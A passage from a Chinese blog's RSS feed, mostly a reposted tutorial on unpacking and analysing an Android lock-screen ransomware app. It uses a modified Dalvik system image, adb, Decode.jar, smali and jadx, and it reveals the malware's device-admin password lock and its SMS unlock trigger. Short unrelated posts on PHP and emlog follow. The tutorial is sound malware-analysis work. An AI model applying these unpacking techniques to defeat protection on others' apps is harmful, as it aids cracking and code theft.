		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">第三步：安装应用观察日志</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">安装应用到模拟器，因为是模拟器，可能操作比较麻烦，所以这里需要借助两个命令可以完美的安装启动应用即可，一个是adb install xxx.apk，安装成功之后。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">在启动应用：<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">adb shell am start -n tx.qq898507339.bzy9/tx.qq898507339.bzy9.MainActivity</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170114110230704?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">其中应用的包名和启动activity的名称都可以通过AndroidManifest.xml中查看：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170114110313455?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">无需任何界面操作即可完成启动应用，然后查看这个包名对应的日志信息，日志tag是dalvikvm：<img src="https://img-blog.csdn.net/20170114110357961?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">在这些日志中可以看到脱壳之后的dex文件放在sd中，咋们把这个文件pull出来即可：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">adb pull /sdcard/tx.qq898507339.bzy9_classes_927104.dex D:\DexExtractor\</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">这时候我们离成功就不远了，得到了脱壳后的dex文件了，但是我们还需要进行解密。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#FF0000;">注意：</span>这里记得观察<span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#FF0000;">"create file end"&nbsp;</span><span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#333333;">字段内容，有的应用可能内部本身有加载dex的逻辑，所以这里会发现有多个dex文件的产生，不过没关系，可以把所有的dex文件都导出本地，然后分析即可。</span></span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">第三步：解密脱壳后的dex文件</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">前面说过了，为了应对现在加固平台的检测，DexExtractor工具将dex进行加密了，可以利用Decode.jar工具进行解密：<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">java -jar Decode.jar D:\DexEctractor\</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170114110943027?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">注意，这里的是目录，不是dex文件哦。然后去目录查看解密之后的dex文件即可，然后我们用jadx打开这个dex文件，可惜的是打开失败，所以就用dex2jar工具将其变成jar文件进行查看：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170114111328766?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">转化的时候报错了，说这个dex是odex文件。关于odex格式文件不多解释了，可自行搜索哈。jadx现在还不能识别odex文件的，这里好奇用IDA打开一下，发现竟然可以成功，所以IDA还真强大哈！</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170114111332808?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<br />
	</p>
	<h1 style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:28px;color:#4F4F4F;line-height:36px;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<a name="t5"></a><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">第四步：odex文件转化成dex文件</span> 
	</h1>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">但是咋们用jadx用惯了，所以还是想用jadx打开它，其实我们只需要将odex转化成dex即可，这里借助了smali.jar工具了，我们先用baksmali.jar将odex文件反编译成smali文件，然后在用smali.jar将smali文件编译成dex文件即可。这两个工具用法比较简单：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">把c:\classes.dex反编译为smali，输出到c:\classout目录<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">java -jar baksmali-2.0.3.jar -o c:\classout/ c:\classes.dex&nbsp;</span><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
把c:\classout目录下的smali文件编译为c:\classes.dex<br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">java -jar smali-2.0.3.jar c:\classout/ -o c:\classes.dex</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">就用上面这两个工具可以把odex文件变成dex文件，然后在用jadx工具打开即可：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170114112343513?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">在前面查看AndroidManifest.mxl文件中可以找到设备管理器声明的类jh，这里直接查看源码，果然是当获取到设备管理器权限之后，立马将锁屏密码设置成：<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#FF0000;">&gt;&gt;&gt;qq 898507339 bzy&gt;&gt;&gt;</span></span>&nbsp;，然后立即锁屏。锁屏之后，你不能通过重启来解决，因为这种恶意软件肯定监听到了开机广播：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170114112346407?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">所以这时候，受害者只能通过提示来进行付费解锁了。或者自己刷机操作了。付费的逻辑比较简单，通过加qq，然后恶意者会让你付费，给完钱之后他会用电话号码：<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#FF0000;">18258614534</span></span>，给你发送一条短信，代码中监听到有这条短信就自动解锁，也就是将锁屏密码清空即可：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><img src="https://img-blog.csdn.net/20170114112349686?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvamlhbmd3ZWkwOTEwNDEwMDAz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" style="box-sizing:border-box;outline:0px;max-width:100%;margin:0px;word-break:break-all;cursor:zoom-in;" /><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<h1 style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:28px;color:#4F4F4F;line-height:36px;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<a name="t6"></a><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">六、脱壳流程</span> 
	</h1>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">看到了这里我们就把这个软件给脱壳破解了，下面来总结一下脱壳的流程和现在恶意锁屏软件原理：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">第一、DexExtractor脱壳原理</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">通过修改系统DexFile.cpp源码，添加dump出dex的逻辑，然后将其编译到system.img和libdvm.so中，对于我们可以使用模拟器将system.img进行替换，或者用真机替换system/lib目录下的libdvm.so文件，从而让每个应用启动的时候使用到DexFile类功能都会执行我们dump出dex的逻辑。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">关于这个工具使用的步骤也非常简单：</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">第一步：</span>启动模拟器选择修改后代码的system.img文件。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">第二步：</span>检查脱壳程序是否具备写SD卡权限。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">第三步：</span>查看脱壳程序对应的日志，tag是dalvikvm。发现create file end等信息段。找到脱壳之后的dex文件路径。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">第四步：</span>将sd卡中脱壳之后的dex文件导出到本地，在使用Decode.jar工具进行解密即可。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">第五步：</span>解密之后的dex格式odex，所以为了使用jadx方便查看代码逻辑，可以使用smali.jar工具将其转化成dex文件。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">第二、锁机原理</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">通过本文的案例可以看到，现在一些恶意的收费锁机软件，故意利用软件名称吸引用户安装，安装之后就引导用户授权然后进行锁机，当用户被锁机之后只能通过给钱解决，当然也可以自行刷机了。本文中的这个软件的案例就利用了系统的设备管理器来设置系统的锁机密码。关于设备管理器这个权限，其实有很多用途，比如可以擦除设备数据，防止被卸载的功能，感兴趣的同学可以自行搜索。</span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:18px;"><span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;">本文资料下载地址：<a href="http://download.csdn.net/detail/jiangwei0910410003/9748357" rel="nofollow" target="_blank" style="box-sizing:border-box;outline:0px;color:#6795B5;text-decoration-line:none;cursor:pointer;word-break:break-all;">http://download.csdn.net/detail/jiangwei0910410003/9748357</a></span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;font-weight:700;word-break:break-all;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;color:#FF0000;"><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:18px;">注意：system.img文件是Android4.4版本的，切不可替换错误！</span></span></span> 
	</p>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;"><br style="box-sizing:border-box;outline:0px;word-break:break-all;" />
</span> 
	</p>
	<h1 style="box-sizing:border-box;outline:0px;padding:0px;margin:8px 0px 16px;font-size:28px;color:#4F4F4F;line-height:36px;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<a name="t7"></a><span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">七、总结</span> 
	</h1>
	<p style="box-sizing:border-box;outline:0px;padding:0px;margin-top:0px;margin-bottom:16px;font-size:16px;color:#4F4F4F;line-height:26px;text-align:justify;word-break:break-all;white-space:normal;background-color:#FFFFFF;">
		<span style="box-sizing:border-box;outline:0px;word-break:break-all;font-size:14px;">本文脱壳其实是借助了DexExtractor工具进行的，但是原理都是一致的，就是不管之前dex怎么加密，最终都是需要解密加载到内存中的，所以在这个时刻，进行操作dump出dex即可。对于之前介绍的方式使用IDA动态调试下断点来dump出dex这个最大的问题就在于如何解决反调试问题，而这个工具操作就可以无需关心反调试了。但是这种方式操作也是比较麻烦的，因为操作的前提条件比较多。好了到这里就介绍完了本文的内容，看完的同学记得多多分享扩散哦，如果有打赏那就最好了！</span> 
	</p>
	<div>
		<br />
	</div>
</div>]]></description>
	<pubDate>Sat, 01 Sep 2018 14:07:10 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=4</guid>

</item>
<item>
	<title>php时间设置问题</title>
	<link>https://www.zuoer.xin/?post=3</link>
	<description><![CDATA[<span style="font-family:-apple-system, &quot;font-size:14px;white-space:normal;background-color:#FFFFFF;color:#333333;">在php.ini中date.timezone = "Asia/Shanghai",加上如下这句话即可：</span> 
<p style="box-sizing:border-box;font-size:16px;margin-bottom:16px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;margin-top:0px;word-break:break-all;color:#4f4f4f;outline-width:0px;padding-bottom:0px;text-align:justify;padding-top:0px;outline-style:none;padding-left:0px;outline-color:invert;line-height:26px;padding-right:0px;">
	<s></s>&nbsp;
</p>
<p style="box-sizing:border-box;font-size:16px;margin-bottom:16px;font-family:-apple-system, &quot;white-space:normal;background-color:#FFFFFF;margin-top:0px;word-break:break-all;color:#4f4f4f;outline-width:0px;padding-bottom:0px;text-align:justify;padding-top:0px;outline-style:none;padding-left:0px;outline-color:invert;line-height:26px;padding-right:0px;">
	<a id="ematt:3" style="white-space:normal;" href="https://zuoer.xin/content/uploadfile/201809/09dd1535803385.png" target="_blank"><img title="点击查看原图" border="0" alt="4.png" src="https://zuoer.xin/content/uploadfile/201809/09dd1535803385.png" width="715" height="97" /></a> 
</p>]]></description>
	<pubDate>Sat, 01 Sep 2018 06:14:12 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=3</guid>

</item>
<item>
	<title>完美解决emlog使用SSL,https访问的问题</title>
	<link>https://www.zuoer.xin/?post=2</link>
	<description><![CDATA[<p style="margin-top:0px;margin-bottom:10px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);line-height:26px;">
	<br />
</p>
<header class="post-header" style="margin:0px;padding:0px;list-style:none;color:#555555;font-family:&quot;font-size:15px;white-space:normal;background-color:#F6F5F4;">
<h2 style="margin:0px 0px 15px -53px;padding:8px 0px 0px 50px;list-style:none;color:#333333;font-size:18px;line-height:30px;width:calc(100% - 20px);overflow:hidden;text-overflow:ellipsis;white-space:nowrap;border-left:3px solid #000000;">
	转自 https://www.music4x.com/post/1195
</h2>
</header>
<div id="Zoom" class="post-context" style="margin:3px 0px 0px;padding:0px;list-style:none;word-break:break-all;font-size:15px;position:relative;line-height:24px;color:#555555;font-family:&quot;white-space:normal;background-color:#F6F5F4;">
	<span class="icon-quote" style="font-family:icomoon;speak:none;font-variant-numeric:normal;font-variant-east-asian:normal;line-height:1;-webkit-font-smoothing:antialiased;font-size:60px;display:inline;z-index:5;position:absolute;color:#0089FA;opacity:0.3;"></span> 
	<p style="margin-top:0px;margin-bottom:10px;padding:0px;list-style:none;line-height:26px;">
		emlog我就不说多了，说起来都是泪，不过还是有部分人在使用此博客，如何解决SSL访问的时候出现的一些问题，主要是分为两步走。
	</p>
	<p style="margin-top:0px;margin-bottom:10px;padding:0px;list-style:none;line-height:26px;">
		<strong>一、下载emlog SSL访问插件</strong> 
	</p>
	<p style="margin-top:0px;margin-bottom:10px;padding:0px;list-style:none;line-height:26px;">
		地址:http://tv1314.com/post-433.html&nbsp; &nbsp;,作者鬼少，搬运工地址:<span class="attachment" style="margin:0px 3px;padding:0px 0px 0px 20px;font-weight:bold;background:url(&quot;"><a target="_blank" href="https://www.music4x.com/content/uploadfile/201711/45ce1510552189.zip" style="text-decoration-line:none;color:#859CE6;transition:0.2s;">gs_ssl.zip</a></span> 
	</p>
	<p style="margin-top:0px;margin-bottom:10px;padding:0px;list-style:none;line-height:26px;">
		安装插件后，启用之。
	</p>
	<p style="margin-top:0px;margin-bottom:10px;padding:0px;list-style:none;line-height:26px;">
